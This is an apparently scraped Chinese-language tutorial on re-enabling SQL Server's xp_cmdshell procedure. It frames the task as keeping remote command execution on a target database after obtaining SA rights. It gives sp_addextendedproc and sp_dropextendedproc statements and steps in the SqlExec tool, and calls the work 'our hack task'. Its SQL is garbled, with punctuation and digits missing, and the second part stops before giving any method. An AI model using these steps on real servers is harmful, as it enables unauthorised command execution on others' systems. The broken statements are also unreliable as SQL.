需要准備的工具
SQL Query Analyzer和SqlExec Sunx Version
第一部分
去掉xp_cmdshell保護系統的具體分析
語句如下
去掉xp_cmdshell擴展過程的方法是使用如下語句
if exists (select * from dbosysobjects where id=object_id(N[dbo][xpcmdshell]) and OBJECTPROPERTY(idNIsExtendedProc)=)exec sp_dropextendedproc N[dbo][xp_cmdshell]
添加xp_cmdshell擴展過程的方法是使用如下語句
sp_addextendedproc xp_cmdshell@dllname=xplogdll
現在看看現象
我們在取得SA權限後遠程用Sqlexec執行cmd命令出現提示SQL_ERROR那麼很可能是去掉了xp_cmdshell
現在來看看被去掉xp_cmdshell後恢復的兩種方法
方法一使用SQL Query Analyzer連接對方後直接寫入挺方便sp_addextendedproc xp_cmdshell@dllname=xplogdll
方法二使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format選項裡填上%s在CMD選項裡輸入sp_addextendedproc xp_cmdshellxpsqldll或者對Sql情況下使用sp_addextendedproc xp_cmdshellxplogdll另外使用SqlExec Sunx Version來去除xp_cmdshell的方法和加的時候選擇條件一樣然後輸入sp_dropextendedproc xp_cmdshell就可以了
第二部分
假如對方已經把xplogdll刪除或者改了名我們來用下面的方法繼續我們的hack任務
當出現如下現象暗示代表很有可能是xplogdll刪除或者改了名
在查詢分析器中寫入sp_addextendedproc xp_cmdshell@dllname=xplogdll提示數據庫中已存在名為xp_cmdshell的對象
From:http://tw.wingwit.com/Article/program/SQLServer/201311/22410.html